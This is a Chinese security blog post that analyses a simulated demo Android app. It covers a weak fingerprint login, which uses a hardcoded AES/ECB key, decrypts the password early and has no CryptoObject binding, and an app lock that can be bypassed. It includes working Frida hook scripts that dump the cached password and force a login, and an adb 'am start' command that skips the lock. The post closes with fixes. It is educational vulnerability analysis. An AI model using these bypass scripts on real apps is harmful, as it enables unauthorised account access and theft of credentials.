移动端弱生物识别漏洞以及内置应用锁绕过赏析
移动安全
漏洞分析
本文主要分享APP项目弱指纹登录识别的绕过以及内置应用锁的绕过的真实案例
1. 什么是 App 生物识别 --------------- App 生物识别 = **移动端操作系统(iOS/Android)提供的、在设备内完成的人体特征身份校验能力**,App 本身不直接处理原始生物数据。 - 常见形态:指纹、人脸、虹膜等 - 底层归属:iOS 走 **Local Authentication + Secure Enclave**,Android 走 **BiometricPrompt + Keystore/KeyMint(TEE/StrongBox)** - 关键事实:**原始指纹图/人脸图不出安全区(Secure Enclave / TEE),App 只拿到"成功/失败"标识**,服务器收不到你的生物模板 2. 它的作用是什么 ---------- - **替代重复输密**:首次账密登录后,后续用指纹/人脸一键进 App,快捷登录,不需要每次都输密码 - **本地凭证保险箱**:生物识别本质是"解锁本机密钥的钥匙",不是网络认证本身 - **防御旁路**:配合硬件密钥,即使 App 进程被注入(Frida/Xposed),拿不到安全芯片里的私钥,也签不出合法请求 3. 生物识别(本地识别)是如何登录 App 的 ------------------------ 以"首次账密登录后开启指纹,之后指纹登录"为例: **① 首次绑定(Enrollment)** 1. 用户输入账号密码 → 后端校验通过 → 下发 `refreshToken` 或生成非对称密钥对(私钥留本机) 2. App 调用系统 API 把敏感凭证存进**Keychain(iOS)/ Keystore(Android)**,并打标:`必须生物认证通过才能用` - iOS:`kSecAccessControlBiometryCurrentSet` 等 ACL - Android:生成 Key 时设 `setUserAuthenticationRequired(true)`(要强制必须通过 BiometricPrompt 中这一次的指纹验证才能用密钥,需要额外设置安全选项) 3. 生物模板本身由系统录入到 Secure Enclave / TEE,**App 不碰模板** **② 后续指纹/人脸登录(Authentication)** 1. 用户点"指纹登录" → App 调 `BiometricPrompt`(安卓)或 `LAContext.evaluatePolicy`(iOS) 2. 系统弹标准生物界面 → 传感器采特征 → 在安全区里和已录入模板做比对 3. 比对通过 → 安全区**释放**被锁住的 Keystore/Keychain 项(明文 Token,或允许私钥做一次签名/解密) 4. App 拿到 Token 直连后端,或用私钥对"服务端随机 challenge"签名,后端用公钥验签 → 登录成功 **③ 失败/降级** - 生物不匹配 → 系统返回失败,App 退回账密或设备 PIN(是否允许降级由 App 策略定) - 新增指纹/换脸 → iOS `BiometryCurrentSet` 会让旧凭证自动失效,需重新账密登录 在安全的实现中,第 ② 步的第 3 条是核心——**密码/密钥只有在指纹验证通过后才会被解密释放**。如果指纹验证和解密这两个动作被"解耦",即密码在验证前就已经是明文,那么整个生物识别的意义就名存实亡了。这句话请先记住,后文的分析会反复回到这一点。 当然了,生物识别并不能替代账号密码体系,也不防"设备已被root且绕过安全区"的极端场景,它是纵深防御的一层。说人话就是,一个安全的生物识别,在识别成功后会利用安全区的密钥把本地的密码解密成系统能识别的样子,然后去进行登录请求,并且在登录的时候还是要校验密码的正确性的,如果存储在本地的密码与服务端存储的不一致,依然会登录失败;因此,生物识别只是一个快速登录的手段,如果后面没有短信二次认证、随机校验码等二次校验,它就不是双因素认证。 4. 生物识别安全框架是什么 -------------- 指**操作系统级、硬件支撑的"生物特征—认证—密钥释放"信任链**,核心分层: **A. 采集与比对层(永不离开安全区)** - iOS:TrueDepth/指纹传感器 → 数据加密送 **Secure Enclave**,神经引擎转数学模板比对,模板不出 Enclave - Android:Sensor → HAL → TA(可信应用)跑在 **TEE**,或 StrongBox 安全芯片;Gatekeeper 管 PIN,Biometric TA 管指纹/人脸,产出带 HMAC 签名的 AuthToken **B. 认证仲裁层** - iOS:Local Authentication 框架,App 只能拿 `success/fail`,拿不到图像 - Android:BiometricPrompt 统一收口(替代老 FingerprintManager),区分 `BIOMETRIC_STRONG`(硬件支撑)和 `BIOMETRIC_WEAK` **C. 密钥托管与释放层(最关键)** - iOS **Keychain + Secure Enclave**:ACL 标记 `biometryCurrentSet` 等,验活后才解密条目或允许私钥签名 - Android **Keystore/KeyMint**:Key 生成时绑定 `userAuthenticationRequired`,AuthToken 经 HMAC 校验后,KeyMint 才允许本次 Cipher/Signature 操作;私钥不可导出 TEE **D. 信任根与生命周期** - 出厂烧入硬件密钥(Apple UID / Android HMAC 共享密钥) - 设备重启、48 小时未解锁、多次失败 → 强制设备密码 - 新增生物特征可使旧绑定密钥失效(防别人录新指纹继承你 App 的权限) ```php 传感器 → 安全区比对 → 发 AuthToken → Keystore/Keychain 校验 → 释放Token/允许签名 → App登录后端 (原始生物数据始终不进 App、不上网) ``` 整个信任链的"闸门"在 C 层——即"指纹验证通过"必须成为"密钥解密"的前置必要条件。本文要讲的这个漏洞案例,恰恰是把这扇闸门给拆掉了。 因此,我们得出安全的时序图如下  **这张图告诉我们什么**:安全流程的核心是那条"指纹验证通过 → TEE 授权 → Cipher 才能 doFinal 解密"的链路。密码的明文**只在 onAuthenticationSucceeded`回调里、指纹已通过之后**才短暂出现,且指纹验证失败时 **Cipher.doFinal** 会直接抛异常,攻击者无法绕过。下面要讲的漏洞案例,每一处都恰好违背了这条链路中的某一环。 既然说了安全的方式,那一定就会有不安全的方式;本次案例为教学案例,并非真实APP项目,仅做学习使用 5.弱生物识别案例详述 ----------- **需要声明的是,以下内容均为模拟后的产物,登录认证为本地写死,如有雷同,纯属巧合!以上内容均以学习为目的,若是存在其他雷同真实攻击案例,纯属巧合!** **漏洞思路:** **首次登录后,设置指纹登录后会在本地生成密码本** **密钥硬编码存储 → 密码本可被解密** **指纹与解密完全解耦(核心漏洞)** **明文密码在内存中提前解密** **onAuthenticationSucceeded 忽略 CryptoObject,可被frida劫持** 下图为模拟正常登录,而后触发指纹识别登录的示例样图  下图为登录的核心类 com.securitydemo.app.view.LoginActivity  下述代码为存储密码的核心代码,由于这是一个demo程序,所以本次演示的用户名和密码都在内部硬编码,这样无需与服务端进行交互即可完成演示(展示代码主要展示弱生物识别问题,请忽略其他逻辑问题); doLoginAction方法主要逻辑如下: mCachedUsername:优先从缓存中提取用户名,如果缓存为空,则从登录表单提取 saveLoginInfo(user, password):把获取的用户名密码保存在本地 saveLoginInfo(user,password)就是我们需要关注的密码存储的具体方法,里面涉及了密码是如何加密解密的 ```php public void doLoginAction(String password, boolean isFinger) { String user = this.mCachedUsername; if (TextUtils.isEmpty(user)) { user = this.mUserEdit.getText().toString().trim(); } //获取用户名 saveLoginInfo(user, password); //保存密码到本地 PreferenceHelper.writeValue(this, KEY_BIO_SW + user, Boolean.valueOf(this.mBioCheck.isChecked()));//保存生物识别开关状态 startActivity(new Intent(this, (Class<?>) MainActivity.class)); finish(); } private void saveLoginInfo(String user, String password) { PreferenceHelper.writeValue(this, KEY_ACCOUNT, user); PreferenceHelper.writeValue(this, KEY_PWD, CryptoHelper.lock(password)); PreferenceHelper.writeValue(this, KEY_LOCK_FIRST, 1); } ``` 这就引出一个疑问:**指纹到底"保护"了什么?** 如果最终提交的还是密码,那意味着密码一定在本地某个地方被存着、并在某个时刻被解密了出来。 ### 密钥硬编码 + AES/ECB 模式,密码本可被离线解密 首先可以看到在登录的Activity里面,有一个saveLoginInfo的方法,跟进里面的CryptoHelper.lock方法  可以看到,上图是一个加解密工具类,里面仅有两个方法,一个是加密,一个是解密,均采用AES ECB的加密方式,且采用硬编码格式!不难看出lock方法用来将密码进行加解密的,由于此处采用硬编码的密钥,因此如果本地的密码本被窃取后,是直接可以解密的 `CryptoHelper` 是一个加解密工具类,里面仅有两个方法:一个加密、一个解密。反编译后的完整代码如下: ```php public class CryptoHelper { private static final String AES_MODE = "AES/ECB/PKCS5Padding"; private static final String VAULT_SECRET = "DemoVault2026!@#"; //示例硬编码 public static String lock(String rawText) { try { SecretKeySpec keySpec = new SecretKeySpec(VAULT_SECRET.getBytes(StandardCharsets.UTF_8), "AES"); Cipher cipher = Cipher.getInstance(AES_MODE); cipher.init(1, keySpec); byte[] encrypted = cipher.doFinal(rawText.getBytes(StandardCharsets.UTF_8)); return Base64.encodeToString(encrypted, 2); } catch (Exception e) { e.printStackTrace(); return rawText; } } ``` 这段代码暴露了一个严重问题: **密钥硬编码在 Java 代码里** `VAULT_SECRET = "DemoVault2026!@#"` 直接写死在源码中。任何拿到 APK 的人都可以用 jadx 反编译看到它。而且这个密钥对**所有安装者完全一致**,一个用户的密文被解开,等于所有用户的密文都能被解开。 返回上一层,可以看到,密码实际上是通过this.mUserEdit.getText().toString().trim();获取的,也就是从登录框用户输入获取的  ```php private void saveLoginInfo(String user, String password) { PreferenceHelper.writeValue(this, KEY_ACCOUNT, user); PreferenceHelper.writeValue(this, KEY_PWD, CryptoHelper.lock(password)); // ← 硬编码密钥加密后落盘 PreferenceHelper.writeValue(this, KEY_LOCK_FIRST, 1); } ``` ### 指纹验证与解密完全解耦 接下来关注指纹登录相关代码,指纹登录的入口是 `handlerFinger()`,它先调用 `BioAuthHelper.getInstance().checkBioCapability(this)` 判断设备是否支持生物识别:  跟进 `checkBioCapability()` → `BiometricManager.from(activity)`:  ```php public int checkBioCapability(Activity activity) { BiometricManager bm = BiometricManager.from(activity); return bm.canAuthenticate(15); //15=强生物识别 } ```  这里的逻辑是看设备支不支持指纹或人脸识别,返回 `0`(即 `BiometricManager.BIOMETRIC_SUCCESS`)就证明支持,进入下一步。这一步本身没问题。 接下来查看showBioPrompt方法  ContextCompat.getMainExecutor(activity):返回主线程的 Executor;Android 的 BiometricPrompt 必须把回调跑在主线程,因为回调里要操作 UI new BiometricPrompt(activity, executor, callback): activity:宿主 Activity,用于弹出 DialogFragment executor:指定回调在哪个线程执行 callback:指纹结果的接收者  ```php public void showBioPrompt(FragmentActivity activity, BiometricPrompt.AuthenticationCallback callback) { Executor executor = ContextCompat.getMainExecutor(activity); BiometricPrompt bioPrompt = new BiometricPrompt(activity, executor, callback); bioPrompt.authenticate(buildPromptInfo()); } private BiometricPrompt.PromptInfo buildPromptInfo() { return new BiometricPrompt.PromptInfo.Builder().setTitle("生物识别验证").setDescription("请进行指纹验证").setNegativeButtonText("使用密码登录").build(); } ``` **到这里,第一个关键点出现了**:`bioPrompt.authenticate(buildPromptInfo())` 调用的是**单参数**的重载,它只弹出了指纹对话框,**没有绑定任何加密操作(CryptoObject)**。 简单看下callback里面的接收者,可以说是干干净净  回调里只做了三件事:弹一个"验证成功"的 Toast、把密码填进输入框、然后**直接登录**。这三件事里,密码 `mCachedPassword` 是**在指纹验证之前就已经解密好的明文**,指纹验证成功与否,对密码的获取**没有任何影响**。 返回上一层继续看authenticate(buildPromptInfo()) ,跟进authenticate发现,下面有两个重载 authenticate(PromptInfo info, CryptoObject crypto) 绑定了加密操作, 没有真实指纹, Cipher 不解锁 但是实际上本项目使用的是 authenticate(PromptInfo info),没有绑定任何动作,指纹只是 boolean  由此回到漏洞的核心:App 使用了 **authenticate(promptInfo)**这种**不绑定 CryptoObject**的写法。这意味着指纹验证的结果对 App 来说**只是一个"是/否"的布尔值**,它与密码的解密**完全解耦**。指纹在这里退化成了一个"确认弹窗"——用户按不按指纹、按的是谁的指纹,都不影响 App 拿到 `mCachedPassword` 这个明文密码  在系统层面,TEE确实认真做了指纹比对并返回了 true/false,这没问题。问题在于App 拿到 true/false 之后,并没有用它去"解任何东西——密码早就在别处解密好了。 代码片段如下: ```php private void initData() { String savedUser = (String) PreferenceHelper.readValue(this, KEY_ACCOUNT, ""); this.mCachedUsername = savedUser; this.mAccountTv.setText(savedUser); String sealedPwd = (String) PreferenceHelper.readValue(this, KEY_PWD, ""); if (sealedPwd != null && !TextUtils.isEmpty(sealedPwd)) { String decryptedPwd = CryptoHelper.unlock(sealedPwd); // ← 在 onCreate 阶段就解密了! this.mCachedPassword = decryptedPwd; // ← 明文密码进入内存 this.mPassEdit.setText(decryptedPwd); // ← 甚至直接填进密码框 } ... } ``` `initData()` 在 `onCreate()` 里就被调用(`onCreate` 的最后一行)。也就是说: 密码在 App 刚启动、用户还没碰过指纹按钮时,就已经被 `CryptoHelper.unlock()` 解密成了明文,并赋值给了成员变量 `mCachedPassword`。 ### 回调里的 `result` 被完全忽略 接下来,返回到onAuthenticationSucceeded(BiometricPrompt.AuthenticationResult result) 回调函数 result 正常是系统塞进来的 AuthenticationResult 对象。它有两个方法,但是本次项目都没调用: getCryptoObject() :从中取 Cipher 解密密码 getAuthenticationType():判断是哪种生物识别  而本项目的回调里,`result` 参数**从头到尾没有被读取过**,直接用的是早已解密好的 `mCachedPassword`, ```php // 安全实现里应该这样用(本项目没有这样做): Cipher cipher = result.getCryptoObject().getCipher(); // 拿到被 TEE 授权解锁的 Cipher byte[] plaintext = cipher.doFinal(ciphertext); // 此时才能解密出明文 ``` Toast.makeText(LoginActivity.this, "验证成功", 0).show(); 验证成功弹窗 验证成功 LoginActivity.this.mPassEdit.setText(LoginActivity.this.mCachedPassword); mCachedPassword 在 onCreate→initData 里早就解密好了   loginActivity.doLoginAction(loginActivity.mCachedPassword, true) 实际上前面没任何作用,最后一步可以直接从内存里取密码,密码与服务端密码比较,直接登录了  `result`(AuthenticationResult)这个本该承载"指纹验证成果"的对象被完全无视了。安全实现里,密码必须通过 `result.getCryptoObject().getCipher()` 在指纹通过之后才能解出;而这里,密码早已明文躺在内存里,指纹验证结果只用来决定"要不要弹个成功提示"。 由此,我们得到完整的弱生物识别时序图  它把六个漏洞串成了一条完整的攻击链——硬编码密钥让密文形同虚设 → 明文提前解密常驻内存→ 指纹不绑定解密→ 回调无视验证成果。正因为指纹从头到尾没有参与加解密,攻击者才能用 Frida 完全绕过指纹直接登录。 因此,我们简单编写一个frida脚本,来hook指纹识别模块,由于这个模块是匿名函数,因此需要特殊构造一下 ```php Java.perform(function() { // ★ Hook 匿名内部类,不是父类 var AnonClass = Java.use( "com.securitydemo.app.view.LoginActivity$1"); AnonClass.onAuthenticationSucceeded.implementation = function(result) { console.log("[+] ★★★ 指纹验证成功! ★★★"); console.log("[+] 是否有 CryptoObject: " + (result != null ? result.getCryptoObject() : "null")); return this.onAuthenticationSucceeded(result); }; AnonClass.onAuthenticationFailed.implementation = function() { console.log("[-] 指纹验证失败"); return this.onAuthenticationFailed(); }; console.log("[*] Hook LoginActivity$1 就绪"); }); ```  这里补充解释一下: - **为什么要 Hook** `LoginActivity$1` **而不是** `BiometricPrompt.AuthenticationCallback`:因为回调是 `new BiometricPrompt.AuthenticationCallback() {...}` 这种匿名内部类写法,编译后单独生成一个 `LoginActivity$1` 类,直接 Hook 父类接口是挂不到真正回调实例上的。 - **为什么打印** `result.getCryptoObject()`:这是为了直观验证前面的结论——它返回 `null`,证明 App 确实没有绑定任何加密操作,指纹认证成果是"空"的。 - 由于 `onAuthenticationSucceeded` 本身是一个回调,没有返回值,发生调用就证明调用成功;这一步只是演示回调效果,其实真正有效的攻击还在下面。 真正有效的绕过只需要一步——**直接 Hook 内存里的密码并调用登录方法**: ```php Java.perform(function () { try{ var LoginActivity = Java.use("com.securitydemo.app.view.LoginActivity"); LoginActivity["handlerFinger"].implementation = function () { this["handlerFinger"](); var mCachedPassword = this.mCachedPassword.value; var mCachedUsername = this.mCachedUsername.value; console.log("\n"); console.log("[*] 用户名 = " +mCachedUsername); console.log("[*] 密码 = " + mCachedPassword); this.doLoginAction(mCachedPassword, true); console.log("[*] log = " + this.doLoginAction); }; }catch(e) { console.log("[-] Hook handlerFinger 失败: " + e); } }); ``` 这个脚本做了三件事: 1. Hook `handlerFinger()` 方法(指纹登录的入口) 2. 在方法内部直接读取 `this.mCachedPassword` 和 `this.mCachedUsername`——这两个成员变量在 `initData()` 里**早就被解密好了** 3. 直接调用 `this.doLoginAction(mCachedPassword, true)` 完成登录 重新运行frida脚本,这一次点击指纹识别按钮,密码便输出打印,同时直接进行登录操作,因此绕过了指纹识别这一步骤  最后看一下本地生成的密码  6.内置应用锁绕过详述 ----------- 除了指纹识别形同虚设,该应用还有一个性质类似的问题——**应用锁被 Activity 生命周期变量绕过**。 它与前面的指纹漏洞在本质上是同一类问题:**把安全决策权交给了一个可以被外部操纵的变量**——指纹那里是"是否调用了某个回调"(可被 Hook),这里则是"一个成员变量的初始值"(可被 `am start` 重置)。 首先,private boolean mIsForegroundActive = true; 初始值就是true,虽然属性是 `private`,但由于 Java 的反射机制,`private` 修饰符并不能阻止攻击者通过 Frida/Xposed 读取和修改,更关键的是——**这里根本不需要 Hook**。 应用锁逻辑设置在 onStart()方法内部,本身就是一个极其高危的操作,因为onStart() 可以被系统或外部调用、am start → onCreate() → onStart(),完全合法  ```php public class BaseActivity extends AppCompatActivity { public static boolean sLockPageActive = false; public static boolean sLockStateFlag = true; private boolean mIsForegroundActive = true; // ← 初始值就是 true protected void onStart() { super.onStart(); String activityName = getClass().getSimpleName().toLowerCase(); if (this.mIsForegroundActive) { return; // ← 直接放行,跳过了锁检查 } // ... 后面的应用锁逻辑永远走不到 } protected void onStop() { super.onStop(); this.mIsForegroundActive = false; // ← 只有在 onStop 时才置为 false } } ``` 这种不安全的写法会导致一个问题,每am start 的话,都会创建一个新的Activity,默认值都会是private boolean mIsForegroundActive = true;,那么就会导致逻辑直接就到 ```php if (this.mIsForegroundActive) { return; } ``` 而!activityName.contains("login") && !activityName.contains("lock")白名单更加显得鸡肋,因为只要找到不在这名单内的Activity,并且属性exported="true"的都可以去进行绕过,特别是某些deeplink需求的,他的属性就注定了需要开启,那么一旦开发人员采用了不安全的写法,将其他关键的页面也顺手开启了属性,就会导致不需要hook就能进行应用锁饶过 下图为AndroidManifest.xml内容  应用锁的作用是:在用户将app切换至后台,再次开启的时候会需要指纹识别、图案、pin码认证,才能再次进入后台  直接 adb shell am start -n com.securitydemo.app/.view.MainActivity  **任何安全边界都不能建立在 Activity 生命周期变量上!** ```php LoginActivity.onCreate() → BaseActivity.onCreate() → LoginActivity.onStart() → BaseActivity.onStart() mIsForegroundActive = true ← 新实例默认值 if (true) return; ← 跳过锁检查, 直接放行 → 用户看到登录页 → 输入 demo/demo → 登录成功 → finish() MainActivity.onCreate() ← 全新实例 → onStart() → BaseActivity.onStart() mIsForegroundActive = true ← 又是新实例默认值 if (true) return; ← 再次跳过 → 用户看到主页 此时状态: mIsForegroundActive (MainActivity) = true (刚创建, 没走 onStop) sLockPageActive = false sLockStateFlag = true ``` 7.修复方案:如何正确实现指纹登录 ----------------- ### 密钥不硬编码,改用 AndroidKeystore 把写死在 Java 里的 `VAULT_SECRET` 换成由系统生成的、绑定在设备 TEE 中的密钥: ```php KeyGenerator keyGenerator = KeyGenerator.getInstance( KeyProperties.KEY_ALGORITHM_AES, "AndroidKeyStore"); keyGenerator.init(new KeyGenParameterSpec.Builder( KEY_ALIAS, KeyProperties.PURPOSE_ENCRYPT | KeyProperties.PURPOSE_DECRYPT) .setBlockModes(KeyProperties.BLOCK_MODE_GCM) // 改用 GCM,非 ECB .setEncryptionPaddings(KeyProperties.ENCRYPTION_PADDING_NONE) .setUserAuthenticationRequired(true) // 必须生物认证通过才能用 .setInvalidatedByBiometricEnrollment(true) // 新增/删除指纹 → 密钥失效 .build()); keyGenerator.generateKey(); ``` 这样密钥就存储在 TEE 安全硬件中,**永不导出**,且每个设备独立。即使拿到 APK 也无法得知密钥。 ### 用 CryptoObject 把指纹与解密强绑定 ```php / 1. 用 KeyStore 中的密钥初始化一个"锁定"的 Cipher SecretKey key = (SecretKey) keyStore.getKey(KEY_ALIAS, null); Cipher cipher = Cipher.getInstance("AES/GCM/NoPadding"); cipher.init(Cipher.DECRYPT_MODE, key, new GCMParameterSpec(128, iv)); // 2. 把 Cipher 塞进 CryptoObject,传给 authenticate bioPrompt.authenticate(buildPromptInfo(), new BiometricPrompt.CryptoObject(cipher)); ``` 这样,Cipher 只有在指纹验证通过后、被 TEE 授权,才能成功执行 `doFinal`。指纹验证失败时,`cipher.doFinal()` 会直接抛 `KeyPermanentlyInvalidatedException` 或 `IllegalStateException`,攻击者无法绕过。 ### 解密时机挪到指纹验证成功之后 ```php // 密码绝不在 onCreate/initData 阶段解密,只在回调里、指纹通过后解密 public void onAuthenticationSucceeded(BiometricPrompt.AuthenticationResult result) { Cipher cipher = result.getCryptoObject().getCipher(); // 拿到被授权的 Cipher byte[] plaintext = cipher.doFinal(ciphertext); // 此时才解出明文 String password = new String(plaintext, StandardCharsets.UTF_8); doLoginAction(password, true); // 用完立即置空 Arrays.fill(plaintext, (byte) 0); // 主动清除内存中的明文 } ``` ### 不要用生命周期变量做安全判断 - 不要把"是否已锁"的判断放在 `onStart()` 里依赖实例变量,应放在一个**单例状态管理类**中,配合 `ProcessLifecycleOwner` 统一判断前后台切换。 - 关键 Activity 不要设置 `exported="true"`,除非确有 deeplink 需求;有 deeplink 的页面应自行做二次校验。 - 锁状态应持久化(如存 SharedPreferences 或内存单例),而不是依赖 Activity 实例的字段初始值。
发表于 2026-08-28 09:30:01
阅读 ( 10331 )
分类:
漏洞分析
7 推荐
收藏
1 条评论
vlan911
7 篇文章
×
温馨提示
您当前没有「奇安信攻防社区」的账号,注册后可获取更多的使用权限。
×
温馨提示
您当前没有「奇安信攻防社区」的账号,注册后可获取更多的使用权限。
×
举报此文章
垃圾广告信息:
广告、推广、测试等内容
违规内容:
色情、暴力、血腥、敏感信息等内容
不友善内容:
人身攻击、挑衅辱骂、恶意行为
其他原因:
请补充说明
举报原因:
×
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!